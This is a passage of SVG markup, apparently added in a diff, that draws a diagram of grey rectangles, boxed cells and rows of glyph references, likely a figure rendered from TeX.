style="fill-rule:nonzero;fill:rgb(50%,50%,50%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 147.402562 0.0006875 L 147.402562 28.348344 L 153.070531 28.348344 L 153.070531 0.0006875 Z M 147.402562 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> +<path style="fill-rule:nonzero;fill:rgb(50%,50%,50%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 153.070531 0.0006875 L 153.070531 28.348344 L 158.7385 28.348344 L 158.7385 0.0006875 Z M 153.070531 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> +<path style="fill-rule:nonzero;fill:rgb(50%,50%,50%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 158.7385 0.0006875 L 158.7385 28.348344 L 164.410375 28.348344 L 164.410375 0.0006875 Z M 158.7385 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> +<path style="fill-rule:nonzero;fill:rgb(50%,50%,50%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 164.410375 0.0006875 L 164.410375 28.348344 L 170.078344 28.348344 L 170.078344 0.0006875 Z M 164.410375 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> +<path style="fill-rule:nonzero;fill:rgb(50%,50%,50%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 170.078344 0.0006875 L 170.078344 28.348344 L 175.746312 28.348344 L 175.746312 0.0006875 Z M 170.078344 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> +<path style="fill-rule:nonzero;fill:rgb(50%,50%,50%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 175.746312 0.0006875 L 175.746312 28.348344 L 181.418187 28.348344 L 181.418187 0.0006875 Z M 175.746312 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph0-1" x="5.556" y="109.408"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-1" x="10.537" y="109.408"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph0-2" x="16.231" y="109.408"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-2" x="21.213" y="109.408"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-2" x="27.16665" y="109.408"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-2" x="33.110337" y="109.408"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-2" x="39.063987" y="109.408"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph0-2" x="45.012" y="109.408"/> + <use xlink:href="#glyph0-2" x="49.9933" y="109.408"/> + <use xlink:href="#glyph0-1" x="54.9746" y="109.408"/> + <use xlink:href="#glyph0-1" x="59.9559" y="109.408"/> + <use xlink:href="#glyph0-1" x="64.9372" y="109.408"/> + <use xlink:href="#glyph0-3" x="69.9185" y="109.408"/> + <use xlink:href="#glyph0-1" x="74.8998" y="109.408"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph0-1" x="96.263" y="109.408"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-1" x="101.245" y="109.408"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph0-2" x="106.939" y="109.408"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-2" x="111.92" y="109.408"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-2" x="117.87365" y="109.408"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-2" x="123.817337" y="109.408"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-2" x="129.770987" y="109.408"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph0-2" x="135.72" y="109.408"/> + <use xlink:href="#glyph0-2" x="140.7013" y="109.408"/> + <use xlink:href="#glyph0-1" x="145.6826" y="109.408"/> + <use xlink:href="#glyph0-1" x="150.6639" y="109.408"/> + <use xlink:href="#glyph0-1" x="155.6452" y="109.408"/> + <use xlink:href="#glyph0-4" x="160.6265" y="109.408"/> + <use xlink:href="#glyph0-1" x="165.6078" y="109.408"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph0-1" x="186.97" y="109.408"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-1" x="191.952" y="109.408"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph0-2" x="197.646" y="109.408"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-2" x="202.627" y="109.408"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-2" x="208.58065" y="109.408"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-2" x="214.524337" y="109.408"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-2" x="220.477987" y="109.408"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph0-2" x="226.427" y="109.408"/> + <use xlink:href="#glyph0-2" x="231.4083" y="109.408"/> + <use xlink:href="#glyph0-1" x="236.3896" y="109.408"/> + <use xlink:href="#glyph0-1" x="241.3709" y="109.408"/> + <use xlink:href="#glyph0-1" x="246.3522" y="109.408"/> + <use xlink:href="#glyph0-5" x="251.3335" y="109.408"/> + <use xlink:href="#glyph0-1" x="256.3148" y="109.408"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph0-1" x="277.678" y="109.408"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-1" x="282.659" y="109.408"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph0-2" x="288.353" y="109.408"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-2" x="293.334" y="109.408"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-2" x="299.28765" y="109.408"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-2" x="305.231337" y="109.408"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-2" x="311.184987" y="109.408"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph0-2" x="317.134" y="109.408"/> + <use xlink:href="#glyph0-2" x="322.1153" y="109.408"/> + <use xlink:href="#glyph0-1" x="327.0966" y="109.408"/> + <use xlink:href="#glyph0-1" x="332.0779" y="109.408"/> + <use xlink:href="#glyph0-1" x="337.0592" y="109.408"/> + <use xlink:href="#glyph0-6" x="342.0405" y="109.408"/> + <use xlink:href="#glyph0-1" x="347.0218" y="109.408"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph0-7" x="7.672" y="137.755"/> + <use xlink:href="#glyph0-8" x="11.546455" y="137.755"/> + <use xlink:href="#glyph0-9" x="16.527755" y="137.755"/> + <use xlink:href="#glyph0-10" x="22.062976" y="137.755"/> + <use xlink:href="#glyph0-11" x="27.598196" y="137.755"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph0-12" x="34.790197" y="137.755"/> + <use xlink:href="#glyph0-13" x="40.048457" y="137.755"/> + <use xlink:href="#glyph0-6" x="45.029757" y="137.755"/> + <use xlink:href="#glyph0-4" x="50.011057" y="137.755"/> + <use xlink:href="#glyph0-12" x="54.992357" y="137.755"/> + <use xlink:href="#glyph0-8" x="60.250618" y="137.755"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph0-1" x="68.559426" y="137.755"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-1" x="73.536" y="137.755"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph0-1" x="79.23" y="137.755"/> + <use xlink:href="#glyph0-1" x="84.2113" y="137.755"/> + <use xlink:href="#glyph0-1" x="89.1926" y="137.755"/> + <use xlink:href="#glyph0-1" x="94.1739" y="137.755"/> + <use xlink:href="#glyph0-2" x="99.1552" y="137.755"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-2" x="104.136" y="137.755"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-2" x="110.08965" y="137.755"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-2" x="116.033337" y="137.755"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-2" x="121.986987" y="137.755"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph0-2" x="127.936" y="137.755"/> + <use xlink:href="#glyph0-2" x="132.9173" y="137.755"/> + <use xlink:href="#glyph0-1" x="137.8986" y="137.755"/> + <use xlink:href="#glyph0-1" x="142.8799" y="137.755"/> + <use xlink:href="#glyph0-1" x="147.8612" y="137.755"/> + <use xlink:href="#glyph0-3" x="152.8425" y="137.755"/> + <use xlink:href="#glyph0-1" x="157.8238" y="137.755"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph0-1" x="59.482" y="151.928"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-1" x="64.463" y="151.928"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph0-2" x="70.157" y="151.928"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-2" x="75.138" y="151.928"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-2" x="81.09165" y="151.928"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-2" x="87.035337" y="151.928"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-2" x="92.988987" y="151.928"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph0-2" x="98.938" y="151.928"/> + <use xlink:href="#glyph0-2" x="103.9193" y="151.928"/> + <use xlink:href="#glyph0-1" x="108.9006" y="151.928"/> + <use xlink:href="#glyph0-1" x="113.8819" y="151.928"/> + <use xlink:href="#glyph0-1" x="118.8632" y="151.928"/> + <use xlink:href="#glyph0-3" x="123.8445" y="151.928"/> + <use xlink:href="#glyph0-1" x="128.8258" y="151.928"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph0-14" x="136.576703" y="151.928"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph0-1" x="175.635" y="151.928"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-1" x="180.616" y="151.928"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph0-2" x="186.31" y="151.928"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-2" x="191.291" y="151.928"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-2" x="197.24465" y="151.928"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-2" x="203.188337" y="151.928"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-2" x="209.141987" y="151.928"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph0-2" x="215.091" y="151.928"/> + <use xlink:href="#glyph0-2" x="220.0723" y="151.928"/> + <use xlink:href="#glyph0-1" x="225.0536" y="151.928"/> + <use xlink:href="#glyph0-1" x="230.0349" y="151.928"/> + <use xlink:href="#glyph0-1" x="235.0162" y="151.928"/> + <use xlink:href="#glyph0-5" x="239.9975" y="151.928"/> + <use xlink:href="#glyph0-1" x="244.9788" y="151.928"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph0-1" x="266.822" y="152.647"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-1" x="271.803" y="152.647"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph0-1" x="277.497" y="152.647"/> + <use xlink:href="#glyph0-1" x="282.4783" y="152.647"/> + <use xlink:href="#glyph0-1" x="287.4596" y="152.647"/> + <use xlink:href="#glyph0-1" x="292.4409" y="152.647"/> + <use xlink:href="#glyph0-1" x="297.4222" y="152.647"/> + <use xlink:href="#glyph0-1" x="302.4035" y="152.647"/> + <use xlink:href="#glyph0-1" x="307.3848" y="152.647"/> + <use xlink:href="#glyph0-1" x="312.3661" y="152.647"/> + <use xlink:href="#glyph0-1" x="317.3474" y="152.647"/> + <use xlink:href="#glyph0-1" x="322.3287" y="152.647"/> + <use xlink:href="#glyph0-1" x="327.31" y="152.647"/> + <use xlink:href="#glyph0-1" x="332.2913" y="152.647"/> + <use xlink:href="#glyph0-1" x="337.2726" y="152.647"/> + <use xlink:href="#glyph0-1" x="342.2539" y="152.647"/> + <use xlink:href="#glyph0-1" x="347.2352" y="152.647"/> + <use xlink:href="#glyph0-1" x="352.2165" y="152.647"/> +</g> +<path style="fill:none;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 170.08225 -63.780563 L 170.08225 -77.952438 L 255.121312 -77.952438 L 255.121312 -63.780563 Z M 170.08225 -63.780563 " transform="matrix(1,0,0,-1,0.199,78.571)"/> +<g clip-path="url(#clip1)" clip-rule="nonzero"> +<path style="fill:none;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 255.121312 -63.780563 L 255.121312 -77.952438 L 368.508031 -77.952438 L 368.508031 -63.780563 Z M 255.121312 -63.780563 " transform="matrix(1,0,0,-1,0.199,78.571)"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph0-1" x="59.482" y="180.274"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-1" x="64.463" y="180.274"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph0-2" x="70.157" y="180.274"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-2" x="75.138" y="180.274"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-2" x="81.09165" y="180.274"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-2" x="87.035337" y="180.274"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-2" x="92.988987" y="180.274"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph0-2" x="98.938" y="180.274"/> + <use xlink:href="#glyph0-2" x="103.9193" y="180.274"/> + <use xlink:href="#glyph0-1" x="108.9006" y="180.274"/> + <use xlink:href="#glyph0-1" x="113.8819" y="180.274"/> + <use xlink:href="#glyph0-1" x="118.8632" y="180.274"/> + <use xlink:href="#glyph0-4" x="123.8445" y="180.274"/> + <use xlink:href="#glyph0-1" x="128.8258" y="180.274"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph0-14" x="136.576703" y="180.274"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph0-1" x="177.925" y="181.243"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-1" x="182.906" y="181.243"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph0-2" x="188.6" y="181.243"/> + <use xlink:href="#glyph0-15" x="193.5813" y="181.243"/> + <use xlink:href="#glyph0-6" x="198.5626" y="181.243"/> + <use xlink:href="#glyph0-5" x="203.5439" y="181.243"/> + <use xlink:href="#glyph0-6" x="208.5252" y="181.243"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-3" x="213.507" y="181.243"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph0-6" x="217.782" y="181.243"/> + <use xlink:href="#glyph0-3" x="222.7633" y="181.243"/> + <use xlink:href="#glyph0-2" x="227.7446" y="181.243"/> + <use xlink:href="#glyph0-5" x="232.7259" y="181.243"/> + <use xlink:href="#glyph0-6" x="237.7072" y="181.243"/> + <use xlink:href="#glyph0-6" x="242.6885" y="181.243"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph0-1" x="266.822" y="180.994"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-1" x="271.803" y="180.994"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph0-1" x="277.497" y="180.994"/> + <use xlink:href="#glyph0-1" x="282.4783" y="180.994"/> + <use xlink:href="#glyph0-1" x="287.4596" y="180.994"/> + <use xlink:href="#glyph0-1" x="292.4409" y="180.994"/> + <use xlink:href="#glyph0-1" x="297.4222" y="180.994"/> + <use xlink:href="#glyph0-1" x="302.4035" y="180.994"/> + <use xlink:href="#glyph0-1" x="307.3848" y="180.994"/> + <use xlink:href="#glyph0-1" x="312.3661" y="180.994"/> + <use xlink:href="#glyph0-1" x="317.3474" y="180.994"/> + <use xlink:href="#glyph0-1" x="322.3287" y="180.994"/> + <use xlink:href="#glyph0-1" x="327.31" y="180.994"/> + <use xlink:href="#glyph0-1" x="332.2913" y="180.994"/> + <use xlink:href="#glyph0-1" x="337.2726" y="180.994"/> + <use xlink:href="#glyph0-1" x="342.2539" y="180.994"/> + <use xlink:href="#glyph0-1" x="347.2352" y="180.994"/> + <use xlink:href="#glyph0-1" x="352.2165" y="180.994"/> +</g> +<path style="fill:none;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 170.08225 -92.128219 L 170.08225 -106.300094 L 255.121312 -106.300094 L 255.121312 -92.128219 Z M 170.08225 -92.128219 " transform="matrix(1,0,0,-1,0.199,78.571)"/> +<g clip-path="url(#clip2)" clip-rule="nonzero"> +<path style="fill:none;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 255.121312 -92.128219 L 255.121312 -106.300094 L 368.508031 -106.300094 L 368.508031 -92.128219 Z M 255.121312 -92.128219 " transform="matrix(1,0,0,-1,0.199,78.571)"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph0-1" x="59.482" y="208.621"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-1" x="64.463" y="208.621"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph0-2" x="70.157" y="208.621"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-2" x="75.138" y="208.621"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-2" x="81.09165" y="208.621"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-2" x="87.035337" y="208.621"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-2" x="92.988987" y="208.621"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph0-2" x="98.938" y="208.621"/> + <use xlink:href="#glyph0-2" x="103.9193" y="208.621"/> + <use xlink:href="#glyph0-1" x="108.9006" y="208.621"/> + <use xlink:href="#glyph0-1" x="113.8819" y="208.621"/> + <use xlink:href="#glyph0-1" x="118.8632" y="208.621"/> + <use xlink:href="#glyph0-5" x="123.8445" y="208.621"/> + <use xlink:href="#glyph0-1" x="128.8258" y="208.621"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph0-14" x="136.576703" y="208.621"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph0-1" x="175.635" y="208.621"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-1" x="180.616" y="208.621"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph0-2" x="186.31" y="208.621"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-2" x="191.291" y="208.621"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-2" x="197.24465" y="208.621"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-2" x="203.188337" y="208.621"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-2" x="209.141987" y="208.621"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph0-2" x="215.091" y="208.621"/> + <use xlink:href="#glyph0-2" x="220.0723" y="208.621"/> + <use xlink:href="#glyph0-1" x="225.0536" y="208.621"/> + <use xlink:href="#glyph0-1" x="230.0349" y="208.621"/> + <use xlink:href="#glyph0-1" x="235.0162" y="208.621"/> + <use xlink:href="#glyph0-6" x="239.9975" y="208.621"/> + <use xlink:href="#glyph0-1" x="244.9788" y="208.621"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph0-1" x="266.822" y="209.34"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-1" x="271.803" y="209.34"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph0-1" x="277.497" y="209.34"/> + <use xlink:href="#glyph0-1" x="282.4783" y="209.34"/> + <use xlink:href="#glyph0-1" x="287.4596" y="209.34"/> + <use xlink:href="#glyph0-1" x="292.4409" y="209.34"/> + <use xlink:href="#glyph0-1" x="297.4222" y="209.34"/> + <use xlink:href="#glyph0-1" x="302.4035" y="209.34"/> + <use xlink:href="#glyph0-1" x="307.3848" y="209.34"/> + <use xlink:href="#glyph0-1" x="312.3661" y="209.34"/> + <use xlink:href="#glyph0-1" x="317.3474" y="209.34"/> + <use xlink:href="#glyph0-1" x="322.3287" y="209.34"/> + <use xlink:href="#glyph0-1" x="327.31" y="209.34"/> + <use xlink:href="#glyph0-1" x="332.2913" y="209.34"/> + <use xlink:href="#glyph0-1" x="337.2726" y="209.34"/> + <use xlink:href="#glyph0-1" x="342.2539" y="209.34"/> + <use xlink:href="#glyph0-1" x="347.2352" y="209.34"/> + <use xlink:href="#glyph0-1" x="352.2165" y="209.34"/> +</g> +<path style="fill:none;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 170.08225 -120.471969 L 170.08225 -134.64775 L 255.121312 -134.64775 L 255.121312 -120.471969 Z M 170.08225 -120.471969 " transform="matrix(1,0,0,-1,0.199,78.571)"/> +<g clip-path="url(#clip3)" clip-rule="nonzero"> +<path style="fill:none;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 255.121312 -120.471969 L 255.121312 -134.64775 L 368.508031 -134.64775 L 368.508031 -120.471969 Z M 255.121312 -120.471969 " transform="matrix(1,0,0,-1,0.199,78.571)"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph0-1" x="59.482" y="236.967"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-1" x="64.463" y="236.967"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph0-2" x="70.157" y="236.967"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-2" x="75.138" y="236.967"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-2" x="81.09165" y="236.967"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-2" x="87.035337" y="236.967"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-2" x="92.988987" y="236.967"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph0-2" x="98.938" y="236.967"/> + <use xlink:href="#glyph0-2" x="103.9193" y="236.967"/> + <use xlink:href="#glyph0-1" x="108.9006" y="236.967"/> + <use xlink:href="#glyph0-1" x="113.8819" y="236.967"/> + <use xlink:href="#glyph0-1" x="118.8632" y="236.967"/> + <use xlink:href="#glyph0-6" x="123.8445" y="236.967"/> + <use xlink:href="#glyph0-1" x="128.8258" y="236.967"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph0-14" x="136.576703" y="236.967"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph0-1" x="175.635" y="236.967"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-1" x="180.616" y="236.967"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph0-2" x="186.31" y="236.967"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-2" x="191.291" y="236.967"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-2" x="197.24465" y="236.967"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-2" x="203.188337" y="236.967"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-2" x="209.141987" y="236.967"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph0-2" x="215.091" y="236.967"/> + <use xlink:href="#glyph0-2" x="220.0723" y="236.967"/> + <use xlink:href="#glyph0-1" x="225.0536" y="236.967"/> + <use xlink:href="#glyph0-1" x="230.0349" y="236.967"/> + <use xlink:href="#glyph0-1" x="235.0162" y="236.967"/> + <use xlink:href="#glyph0-2" x="239.9975" y="236.967"/> + <use xlink:href="#glyph0-1" x="244.9788" y="236.967"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph0-1" x="266.822" y="237.687"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-1" x="271.803" y="237.687"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph0-1" x="277.497" y="237.687"/> + <use xlink:href="#glyph0-1" x="282.4783" y="237.687"/> + <use xlink:href="#glyph0-1" x="287.4596" y="237.687"/> + <use xlink:href="#glyph0-1" x="292.4409" y="237.687"/> + <use 